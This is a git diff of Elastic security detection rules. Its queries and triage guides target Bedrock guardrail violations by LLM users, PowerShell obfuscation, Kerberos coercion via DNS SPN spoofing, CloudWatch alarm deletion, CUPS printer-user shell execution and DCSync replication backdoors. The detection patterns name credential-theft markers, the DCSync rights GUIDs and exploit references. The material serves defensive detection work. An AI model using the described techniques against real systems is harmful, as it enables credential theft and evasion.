Investigate other alerts associated with the user account during the past 48 hours.\n- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day?\n- Examine the account's prompts and responses in the last 24 hours.\n- If you suspect the account has been compromised, scope potentially compromised assets by tracking Amazon Bedrock model access, prompts generated, and responses to the prompts by the account in the last 24 hours.\n\n### False positive analysis\n\n- Verify the user account that caused multiple policy violations, is not testing any new model deployments or updated compliance policies in Amazon Bedrock guardrails.\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Disable or limit the account during the investigation and response.\n- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context:\n - Identify the account role in the cloud environment.\n - Identify if the attacker is moving laterally and compromising other Amazon Bedrock Services.\n - Identify any regulatory or legal ramifications related to this activity.\n- Review the permissions assigned to the implicated user group or role behind these requests to ensure they are authorized and expected to access bedrock and ensure that the least privilege principle is being followed.\n- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).\n", - "query": "from logs-aws_bedrock.invocation-*\n| where gen_ai.policy.action == \"BLOCKED\"\n| eval policy_violations = mv_count(gen_ai.policy.name)\n| where policy_violations > 1\n| keep gen_ai.policy.action, policy_violations, user.id, gen_ai.request.model.id, cloud.account.id, user.id\n| stats total_unique_request_violations = count(*) by policy_violations, user.id, gen_ai.request.model.id, cloud.account.id\n| sort total_unique_request_violations desc\n", - "references": [ - "https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-components.html", - "https://atlas.mitre.org/techniques/AML.T0051", - "https://atlas.mitre.org/techniques/AML.T0054", - "https://www.elastic.co/security-labs/elastic-advances-llm-security" - ], - "risk_score": 21, - "rule_id": "f4c2515a-18bb-47ce-a768-1dc4e7b0fe6c", - "setup": "## Setup\n\nThis rule requires that guardrails are configured in AWS Bedrock. For more information, see the AWS Bedrock documentation:\n\nhttps://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-create.html\n", - "severity": "low", - "tags": [ - "Domain: LLM", - "Data Source: AWS Bedrock", - "Data Source: AWS S3", - "Resources: Investigation Guide", - "Use Case: Policy Violation", - "Mitre Atlas: T0051", - "Mitre Atlas: T0054" - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 3 - }, - "id": "f4c2515a-18bb-47ce-a768-1dc4e7b0fe6c_3", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/f6d8c743-0916-4483-8333-3c6f107e0caa_2.json b/packages/security_detection_engine/kibana/security_rule/f6d8c743-0916-4483-8333-3c6f107e0caa_2.json deleted file mode 100644 index d82367a1f59..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/f6d8c743-0916-4483-8333-3c6f107e0caa_2.json +++ /dev/null @@ -1,79 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies PowerShell scripts that use string concatenation as a form of obfuscation. These methods are designed to evade static analysis and bypass security protections such as the Antimalware Scan Interface (AMSI).", - "from": "now-9m", - "language": "esql", - "license": "Elastic License v2", - "name": "Potential PowerShell Obfuscation via String Concatenation", - "query": "FROM logs-windows.powershell_operational* metadata _id, _version, _index\n| WHERE event.code == \"4104\"\n\n// Look for scripts with more than 500 chars that contain a related keyword\n| EVAL script_len = LENGTH(powershell.file.script_block_text)\n| WHERE script_len > 500\n\n// Replace string format expressions with \ud83d\udd25 to enable counting the occurrence of the patterns we are looking for\n// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1\n| EVAL replaced_with_fire = REPLACE(powershell.file.script_block_text, \"\"\"['\"][A-Za-z0-9.]+['\"](\\s?\\+\\s?['\"][A-Za-z0-9.,\\-\\s]+['\"]){2,}\"\"\", \"\ud83d\udd25\")\n\n// Count how many patterns were detected by calculating the number of \ud83d\udd25 characters inserted\n| EVAL count = LENGTH(replaced_with_fire) - LENGTH(REPLACE(replaced_with_fire, \"\ud83d\udd25\", \"\"))\n\n// Keep the fields relevant to the query, although this is not needed as the alert is populated using _id\n| KEEP count, replaced_with_fire, powershell.file.script_block_text, powershell.file.script_block_id, file.path, powershell.sequence, powershell.total, _id, _index, host.name, agent.id, user.id\n| WHERE count >= 2\n", - "related_integrations": [ - { - "package": "windows", - "version": "^3.0.0" - } - ], - "risk_score": 47, - "rule_id": "f6d8c743-0916-4483-8333-3c6f107e0caa", - "setup": "## Setup\n\nThe 'PowerShell Script Block Logging' logging policy must be enabled.\nSteps to implement the logging policy with Advanced Audit Configuration:\n\n```\nComputer Configuration >\nAdministrative Templates >\nWindows PowerShell >\nTurn on PowerShell Script Block Logging (Enable)\n```\n\nSteps to implement the logging policy via registry:\n\n```\nreg add \"hklm\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging\" /v EnableScriptBlockLogging /t REG_DWORD /d 1\n```\n", - "severity": "medium", - "tags": [ - "Domain: Endpoint", - "OS: Windows", - "Use Case: Threat Detection", - "Tactic: Defense Evasion", - "Data Source: PowerShell Logs" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0005", - "name": "Defense Evasion", - "reference": "https://attack.mitre.org/tactics/TA0005/" - }, - "technique": [ - { - "id": "T1027", - "name": "Obfuscated Files or Information", - "reference": "https://attack.mitre.org/techniques/T1027/" - }, - { - "id": "T1140", - "name": "Deobfuscate/Decode Files or Information", - "reference": "https://attack.mitre.org/techniques/T1140/" - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0002", - "name": "Execution", - "reference": "https://attack.mitre.org/tactics/TA0002/" - }, - "technique": [ - { - "id": "T1059", - "name": "Command and Scripting Interpreter", - "reference": "https://attack.mitre.org/techniques/T1059/", - "subtechnique": [ - { - "id": "T1059.001", - "name": "PowerShell", - "reference": "https://attack.mitre.org/techniques/T1059/001/" - } - ] - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 2 - }, - "id": "f6d8c743-0916-4483-8333-3c6f107e0caa_2", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/f701be14-0a36-4e9a-a851-b3e20ae55f09_2.json b/packages/security_detection_engine/kibana/security_rule/f701be14-0a36-4e9a-a851-b3e20ae55f09_2.json new file mode 100644 index 00000000000..cba4d78d785 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/f701be14-0a36-4e9a-a851-b3e20ae55f09_2.json @@ -0,0 +1,106 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies the creation of a DNS record containing a base64-encoded blob matching the pattern \"UWhRCA...BAAAA\". This pattern corresponds to a marshaled CREDENTIAL_TARGET_INFORMATION structure, commonly used in Kerberos coercion attacks. It is associated with tools and techniques that exploit SPN spoofing via DNS. Adversaries may abuse this to coerce victim systems into authenticating to attacker-controlled hosts while requesting Kerberos tickets for legitimate services (often the victim's own identity). This enables reflective Kerberos relay attacks, potentially resulting in privileged access such as NT AUTHORITY\\SYSTEM, without relying on NTLM fallback.", + "from": "now-9m", + "index": [ + "logs-system.security*", + "logs-windows.forwarded*", + "winlogbeat-*" + ], + "language": "kuery", + "license": "Elastic License v2", + "name": "Potential Kerberos Coercion via DNS-Based SPN Spoofing", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Potential Kerberos Coercion via DNS-Based SPN Spoofing\n\n### Possible investigation steps\n\n- Review the event logs on the affected Windows host to confirm the presence of event code 5137, which indicates a directory service object modification.\n- Inspect the ObjectDN field to identify the full distinguished name of the created DNS record. Look for entries containing Base64-encoded segments matching UWhRCA...BAAAA, which are indicative of an embedded CREDENTIAL_TARGET_INFORMATION payload used in SPN spoofing.\n- Validate the associated user or computer account responsible for the DNS record creation. Investigate whether the account has legitimate administrative access to modify DNS zones or whether it may have been compromised.\n- Correlate with DNS query logs and network telemetry to determine if the suspicious DNS hostname was later queried or resolved by other hosts on the network. A match suggests the attacker moved forward with the coercion attempt.\n- Assess the permissions and access controls on the DNS zones to ensure they are appropriately configured and restrict unnecessary modifications by authenticated users.\n\n### False positive analysis\n\n- This activity is unlikely to happen legitimately.\n\n### Response and remediation\n\n- Review and remove the malicious DNS record containing the embedded CREDENTIAL_TARGET_INFORMATION Base64 payload (UWhRCA...BAAAA). Ensure that no additional coercion records exist in the same DNS zone.\n- Identify the source of the DNS modification by correlating the event with user context and host activity. Investigate whether the account used was compromised or misused.\n- Audit Kerberos ticket activity following the DNS record creation. Look for suspicious service ticket requests (Event ID 4769) or authentication attempts that could indicate a relay or privilege escalation attempt.\n- Temporarily isolate involved systems if signs of compromise or lateral movement are detected, especially if the record was successfully resolved and used for coercion.\n- Monitor network traffic for signs of Man-in-the-Middle activity, focusing on unusual DNS queries or redirections.\n- Escalate the incident to the security operations center (SOC) for further investigation and to assess the potential impact on other systems.\n", + "query": "host.os.type:\"windows\" and\n(\n (event.code:4662 and winlog.event_data.AdditionalInfo: *UWhRC*BAAAA*MicrosoftDNS*) or \n (event.code:5137 and winlog.event_data.ObjectDN: *UWhRC*BAAAA*MicrosoftDNS*)\n)\n", + "references": [ + "https://www.synacktiv.com/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025", + "https://blog.redteam-pentesting.de/2025/reflective-kerberos-relay-attack/", + "https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html", + "https://github.com/CICADA8-Research/RemoteKrbRelay/blob/main/README.md", + "https://github.com/Orange-Cyberdefense/ocd-mindmaps/blob/main/excalimap/mindmap/ad/authenticated.md" + ], + "related_integrations": [ + { + "package": "system", + "version": "^2.0.0" + }, + { + "package": "windows", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.code", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.event_data.AdditionalInfo", + "type": "unknown" + }, + { + "ecs": false, + "name": "winlog.event_data.ObjectDN", + "type": "unknown" + } + ], + "risk_score": 73, + "rule_id": "f701be14-0a36-4e9a-a851-b3e20ae55f09", + "setup": "## Setup\n\nThe 'Audit Directory Service Changes' logging policy must be configured for (Success, Failure).\nSteps to implement the logging policy with Advanced Audit Configuration:\n\n```\nComputer Configuration >\nPolicies >\nWindows Settings >\nSecurity Settings >\nAdvanced Audit Policies Configuration >\nAudit Policies >\nDS Access >\nAudit Directory Service Changes (Success,Failure)\n```\n\nThe above policy does not cover the target object by default (we still need it to be configured to generate events), so we need to set up an AuditRule using https://github.com/OTRF/Set-AuditRule.\n\n```\nSet-AuditRule -AdObjectPath 'AD:\\CN=MicrosoftDNS,DC=DomainDNSZones,DC=Domain,DC=com' -WellKnownSidType WorldSid -Rights CreateChild -InheritanceFlags Descendents -AttributeGUID e0fa1e8c-9b45-11d0-afdd-00c04fd930c9 -AuditFlags Success\n```\n", + "severity": "high", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Credential Access", + "Data Source: Active Directory", + "Use Case: Active Directory Monitoring", + "Data Source: Windows Security Event Logs", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0006", + "name": "Credential Access", + "reference": "https://attack.mitre.org/tactics/TA0006/" + }, + "technique": [ + { + "id": "T1557", + "name": "Adversary-in-the-Middle", + "reference": "https://attack.mitre.org/techniques/T1557/", + "subtechnique": [ + { + "id": "T1557.001", + "name": "LLMNR/NBT-NS Poisoning and SMB Relay", + "reference": "https://attack.mitre.org/techniques/T1557/001/" + } + ] + }, + { + "id": "T1187", + "name": "Forced Authentication", + "reference": "https://attack.mitre.org/techniques/T1187/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "query", + "version": 2 + }, + "id": "f701be14-0a36-4e9a-a851-b3e20ae55f09_2", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/f772ec8a-e182-483c-91d2-72058f76a44c_212.json b/packages/security_detection_engine/kibana/security_rule/f772ec8a-e182-483c-91d2-72058f76a44c_212.json new file mode 100644 index 00000000000..e8761e7cfec --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/f772ec8a-e182-483c-91d2-72058f76a44c_212.json @@ -0,0 +1,126 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects the deletion of one or more Amazon CloudWatch alarms using the \"DeleteAlarms\" API. CloudWatch alarms are critical for monitoring metrics and triggering alerts when thresholds are exceeded. An adversary may delete alarms to impair visibility, silence alerts, and evade detection following malicious activity. This behavior may occur during post-exploitation or cleanup phases to remove traces of compromise or disable automated responses.", + "false_positives": [ + "CloudWatch alarm deletions can occur legitimately during scheduled maintenance, infrastructure redeployments, or automation workflows that clean up temporary monitoring configurations. Verify that the user identity, role, and IP address are expected for the environment. If deletions are performed by CI/CD pipelines or authorized administrators during controlled operations, consider adding exceptions based on specific IAM roles, automation accounts, or IP address ranges." + ], + "from": "now-6m", + "index": [ + "filebeat-*", + "logs-aws.cloudtrail-*" + ], + "investigation_fields": { + "field_names": [ + "@timestamp", + "user.name", + "user_agent.original", + "source.ip", + "aws.cloudtrail.user_identity.arn", + "aws.cloudtrail.user_identity.type", + "aws.cloudtrail.user_identity.access_key_id", + "target.entity.id", + "event.action", + "event.outcome", + "cloud.account.id", + "cloud.region", + "aws.cloudtrail.request_parameters" + ] + }, + "language": "kuery", + "license": "Elastic License v2", + "name": "AWS CloudWatch Alarm Deletion", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. \n> While every effort has been made to ensure its quality, validate and adapt it to your operational context.\n\n### Investigating AWS CloudWatch Alarm Deletion\n\nAmazon CloudWatch is a monitoring and observability service that collects monitoring and operational data in the form of logs, metrics, and events for resources and applications. This data can be used to detect anomalous behavior in your environments, set alarms, visualize logs and metrics side by side, take automated actions, troubleshoot issues, and discover insights to keep your applications running smoothly.\n\nAmazon CloudWatch Alarms monitor key metrics and trigger automated alerts or remediation workflows. Deleting these alarms disables monitoring of associated metrics and can delay detection of performance degradation or security incidents. Attackers may delete alarms to evade detection, suppress alerts, or disable security automation that responds to anomalies or policy violations.\n\nThis rule detects successful calls to the `DeleteAlarms` API via CloudTrail. These events should be rare and always associated with a valid change-control request or automation pipeline.\n\n#### Possible investigation steps\n\n- **Identify the actor**\n - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine who initiated the deletion.\n - Check whether this actor typically performs CloudWatch management or automation tasks.\n\n- **Review request details**\n - Inspect `aws.cloudtrail.request_parameters` or `target.entity.id` for the specific alarm names deleted. \n - Determine whether the alarms were security-related (e.g., CloudTrail log delivery, GuardDuty finding rate, or IAM API monitoring alarms).\n - Cross-reference deleted alarms with your organization's list of critical monitoring configurations.\n\n- **Analyze source and context**\n - Review `source.ip` and `user_agent.original` for anomalies such as external IPs, unusual user agents, or custom SDKs.\n - Determine whether the activity occurred during a known maintenance window or from a trusted automation host.\n - Examine `cloud.region` to identify whether alarms were deleted from unexpected regions.\n\n- **Correlate with surrounding events**\n - Review CloudTrail events for related activity around the same time, such as:\n - `PutMetricAlarm`, `DisableAlarmActions`, or `DeleteLogGroup`\n - Changes to CloudTrail, Config, or GuardDuty configurations\n - IAM policy or permission modifications that could facilitate evasion\n - Identify whether the same actor has previously modified logging or monitoring infrastructure.\n\n- **Assess impact and scope**\n - Determine which systems or detection workflows relied on the deleted alarms.\n - Review whether the deletion affected automated responses, notifications, or third-party integrations (e.g., SNS, Lambda, or PagerDuty).\n\n### False positive analysis\n\n- **Legitimate automation or redeployment**\n - Infrastructure as Code (IaC) frameworks such as Terraform or CloudFormation may delete and recreate alarms during updates.\n - Validate automation account roles and ensure alarm deletions are immediately followed by re-creation actions.\n- **Operational maintenance**\n - Scheduled monitoring cleanup, regional deactivation, or test environment resets can trigger legitimate deletions. \n - Verify timing and user identity against approved change management records.\n- **Organizational migrations**\n - Security operations or DevOps teams may consolidate alarms during account merges or refactors. \n - Confirm intent with relevant teams and exclude authorized administrative accounts as necessary.\n\n### Response and remediation\n\n- **Containment**\n - If the deletion was unauthorized, recreate the deleted alarms immediately using IaC templates or CloudFormation backups.\n - Re-enable any dependent automation or alerts that rely on those alarms.\n - Temporarily restrict CloudWatch modification privileges to designated IAM roles.\n\n- **Investigation**\n - Review related CloudTrail logs for preceding IAM changes, STS activity, or anomalous role assumptions that might indicate compromised credentials.\n - Investigate whether any alerts were suppressed or delayed prior to the deletion.\n\n- **Recovery and hardening**\n - Implement AWS Config rules to continuously monitor alarm existence and alert on `DeleteAlarms` API calls.\n - Restrict permissions to `cloudwatch:DeleteAlarms` and enforce MFA for users performing monitoring configuration changes.\n - Maintain IaC definitions for all critical alarms to support rapid restoration.\n - Audit IAM roles and automation accounts that manage CloudWatch configurations to ensure least privilege.\n - Integrate alarm configuration checks into your CI/CD validation workflows.\n\n### Additional information\n\n- **[AWS Config Rule \u2013 cloudwatch-alarm-action-check](https://docs.aws.amazon.com/config/latest/developerguide/cloudwatch-alarm-action-check.html)**\n- **[AWS IR Playbooks](https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/)** \n- **[AWS Customer Playbook Framework](https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs)** \n- **Security Best Practices:** [AWS Knowledge Center \u2013 Security Best Practices](https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/).\n", + "query": "event.dataset: \"aws.cloudtrail\" \n and event.provider: \"monitoring.amazonaws.com\" \n and event.action: \"DeleteAlarms\"\n and event.outcome: \"success\"\n and source.ip: *\n and not user_agent.original : \"AWS Internal\"\n", + "references": [ + "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cloudwatch/delete-alarms.html", + "https://docs.aws.amazon.com/AmazonCloudWatch/latest/APIReference/API_DeleteAlarms.html" + ], + "related_integrations": [ + { + "integration": "cloudtrail", + "package": "aws", + "version": "^4.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.provider", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.ip", + "type": "ip" + }, + { + "ecs": true, + "name": "user_agent.original", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "f772ec8a-e182-483c-91d2-72058f76a44c", + "severity": "medium", + "tags": [ + "Domain: Cloud", + "Data Source: AWS", + "Data Source: Amazon Web Services", + "Data Source: Amazon CloudWatch", + "Resources: Investigation Guide", + "Tactic: Defense Evasion" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0005", + "name": "Defense Evasion", + "reference": "https://attack.mitre.org/tactics/TA0005/" + }, + "technique": [ + { + "id": "T1562", + "name": "Impair Defenses", + "reference": "https://attack.mitre.org/techniques/T1562/", + "subtechnique": [ + { + "id": "T1562.001", + "name": "Disable or Modify Tools", + "reference": "https://attack.mitre.org/techniques/T1562/001/" + }, + { + "id": "T1562.006", + "name": "Indicator Blocking", + "reference": "https://attack.mitre.org/techniques/T1562/006/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "query", + "version": 212 + }, + "id": "f772ec8a-e182-483c-91d2-72058f76a44c_212", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/f86cd31c-5c7e-4481-99d7-6875a3e31309_5.json b/packages/security_detection_engine/kibana/security_rule/f86cd31c-5c7e-4481-99d7-6875a3e31309_5.json deleted file mode 100644 index 6fc063592b0..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/f86cd31c-5c7e-4481-99d7-6875a3e31309_5.json +++ /dev/null @@ -1,108 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "This detection rule addresses multiple vulnerabilities in the CUPS printing system, including CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, and CVE-2024-47177. Specifically, this rule detects shell executions from the foomatic-rip parent process through the default printer user (lp). These flaws impact components like cups-browsed, libcupsfilters, libppd, and foomatic-rip, allowing remote unauthenticated attackers to manipulate IPP URLs or inject malicious data through crafted UDP packets or network spoofing. This can result in arbitrary command execution when a print job is initiated.", - "from": "now-9m", - "index": [ - "endgame-*", - "logs-endpoint.events.process*" - ], - "language": "eql", - "license": "Elastic License v2", - "name": "Printer User (lp) Shell Execution", - "note": "## Triage and analysis\n\n### Investigating Printer User (lp) Shell Execution\n\nThis rule identifies potential exploitation attempts of several vulnerabilities in the CUPS printing system (CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177). These vulnerabilities allow attackers to send crafted IPP requests or manipulate UDP packets to execute arbitrary commands or modify printer configurations. Attackers can exploit these flaws to inject malicious data, leading to Remote Code Execution (RCE) on affected systems.\n\n#### Possible Investigation Steps\n\n- Investigate the incoming IPP requests or UDP packets targeting port 631.\n- Examine the printer configurations on the system to determine if any unauthorized printers or URLs have been added.\n- Investigate the process tree to check if any unexpected processes were triggered as a result of IPP activity. Review the executable files for legitimacy.\n- Check for additional alerts related to the compromised system or user within the last 48 hours.\n- Investigate network traffic logs for suspicious outbound connections to unrecognized domains or IP addresses.\n- Check if any of the contacted domains or addresses are newly registered or have a suspicious reputation.\n- Retrieve any scripts or executables dropped by the attack for further analysis in a private sandbox environment:\n- Analyze potential malicious activity, including:\n - Attempts to communicate with external servers.\n - File access or creation of unauthorized executables.\n - Cron jobs, services, or other persistence mechanisms.\n\n### Related Rules\n- Cupsd or Foomatic-rip Shell Execution - 476267ff-e44f-476e-99c1-04c78cb3769d\n- Network Connection by Cups or Foomatic-rip Child - e80ee207-9505-49ab-8ca8-bc57d80e2cab\n- File Creation by Cups or Foomatic-rip Child - b9b14be7-b7f4-4367-9934-81f07d2f63c4\n- Suspicious Execution from Foomatic-rip or Cupsd Parent - 986361cd-3dac-47fe-afa1-5c5dd89f2fb4\n\n### False Positive Analysis\n\n- This activity is rarely legitimate. However, verify the context to rule out non-malicious printer configuration changes or legitimate IPP requests.\n\n### Response and Remediation\n\n- Initiate the incident response process based on the triage outcome.\n- Isolate the compromised host to prevent further exploitation.\n- If the investigation confirms malicious activity, search the environment for additional compromised hosts.\n- Implement network segmentation or restrictions to contain the attack.\n- Stop suspicious processes or services tied to CUPS exploitation.\n- Block identified Indicators of Compromise (IoCs), including IP addresses, domains, or hashes of involved files.\n- Review compromised systems for backdoors, such as reverse shells or persistence mechanisms like cron jobs.\n- Investigate potential credential exposure on compromised systems and reset passwords for any affected accounts.\n- Restore the original printer configurations or uninstall unauthorized printer entries.\n- Perform a thorough antimalware scan to identify any lingering threats or artifacts from the attack.\n- Investigate how the attacker gained initial access and address any weaknesses to prevent future exploitation.\n- Use insights from the incident to improve detection and response times in future incidents (MTTD and MTTR).\n", - "query": "process where host.os.type == \"linux\" and event.type == \"start\" and\n event.action in (\"exec\", \"exec_event\") and user.name == \"lp\" and\n process.parent.name in (\"cupsd\", \"foomatic-rip\", \"bash\", \"dash\", \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\") and\n process.name in (\"bash\", \"dash\", \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\") and not (\n process.command_line like (\n \"*/tmp/foomatic-*\", \"*-sDEVICE=ps2write*\", \"*printf*\", \"/bin/sh -e -c cat\", \"/bin/bash -c cat\",\n \"/bin/bash -e -c cat\"\n ) or\n process.args like \"gs*\"\n )\n", - "references": [ - "https://www.elastic.co/security-labs/cups-overflow", - "https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/", - "https://gist.github.com/stong/c8847ef27910ae344a7b5408d9840ee1", - "https://github.com/RickdeJager/cupshax/blob/main/cupshax.py" - ], - "related_integrations": [ - { - "package": "endpoint", - "version": "^8.2.0" - } - ], - "required_fields": [ - { - "ecs": true, - "name": "event.action", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "host.os.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.args", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.command_line", - "type": "wildcard" - }, - { - "ecs": true, - "name": "process.name", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.parent.name", - "type": "keyword" - }, - { - "ecs": true, - "name": "user.name", - "type": "keyword" - } - ], - "risk_score": 73, - "rule_id": "f86cd31c-5c7e-4481-99d7-6875a3e31309", - "setup": "## Setup\n\nThis rule requires data coming in from Elastic Defend.\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n", - "severity": "high", - "tags": [ - "Domain: Endpoint", - "OS: Linux", - "Use Case: Threat Detection", - "Use Case: Vulnerability", - "Tactic: Execution", - "Data Source: Elastic Defend", - "Data Source: Elastic Endgame", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0002", - "name": "Execution", - "reference": "https://attack.mitre.org/tactics/TA0002/" - }, - "technique": [ - { - "id": "T1203", - "name": "Exploitation for Client Execution", - "reference": "https://attack.mitre.org/techniques/T1203/" - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "eql", - "version": 5 - }, - "id": "f86cd31c-5c7e-4481-99d7-6875a3e31309_5", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/f8822053-a5d2-46db-8c96-d460b12c36ac_109.json b/packages/security_detection_engine/kibana/security_rule/f8822053-a5d2-46db-8c96-d460b12c36ac_109.json new file mode 100644 index 00000000000..364142b82e9 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/f8822053-a5d2-46db-8c96-d460b12c36ac_109.json @@ -0,0 +1,102 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies the modification of the nTSecurityDescriptor attribute in a domain object with rights related to DCSync to a user/computer account. Attackers can use this backdoor to re-obtain access to hashes of any user/computer.", + "from": "now-9m", + "index": [ + "winlogbeat-*", + "logs-system.security*", + "logs-windows.forwarded*" + ], + "language": "kuery", + "license": "Elastic License v2", + "name": "Potential Active Directory Replication Account Backdoor", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Potential Active Directory Replication Account Backdoor\n\nActive Directory (AD) is a critical component in many enterprise environments, managing user and computer accounts. Adversaries may exploit AD by modifying security descriptors to gain replication rights, allowing them to extract sensitive credential data. The detection rule identifies suspicious changes to security descriptors, specifically targeting attributes that grant replication capabilities, which could indicate an attempt to establish a backdoor for credential access.\n\n### Possible investigation steps\n\n- Review the event logs for the specific event code 5136 to identify the exact changes made to the nTSecurityDescriptor attribute and the account involved.\n- Examine the winlog.event_data.AttributeValue to determine if the changes include the specific GUIDs (*1131f6ad-9c07-11d1-f79f-00c04fc2dcd2, *1131f6aa-9c07-11d1-f79f-00c04fc2dcd2, *89e95b76-444d-4c62-991a-0facbeda640c) that indicate replication rights were granted.\n- Identify the user or computer account (S-1-5-21-*) that was granted these rights and assess whether this account should have such permissions.\n- Check the account's recent activity and login history to identify any unusual or unauthorized access patterns.\n- Investigate any recent changes or anomalies in the directory service that could correlate with the suspicious modification event.\n- Consult with the Active Directory administrators to verify if the changes were authorized and part of any legitimate administrative tasks.\n\n### False positive analysis\n\n- Changes made by authorized administrators during legitimate security audits or system maintenance can trigger the rule. To manage this, create exceptions for known administrative accounts performing regular audits.\n- Automated scripts or tools used for Active Directory management might modify security descriptors as part of their normal operation. Identify these scripts and exclude their associated accounts from triggering alerts.\n- Scheduled tasks or system processes that require replication rights for synchronization purposes may also cause false positives. Review and whitelist these processes if they are verified as non-threatening.\n- Third-party applications with legitimate replication needs might alter security descriptors. Ensure these applications are documented and their actions are excluded from the rule.\n- Temporary changes during system migrations or upgrades can be mistaken for suspicious activity. Monitor these events 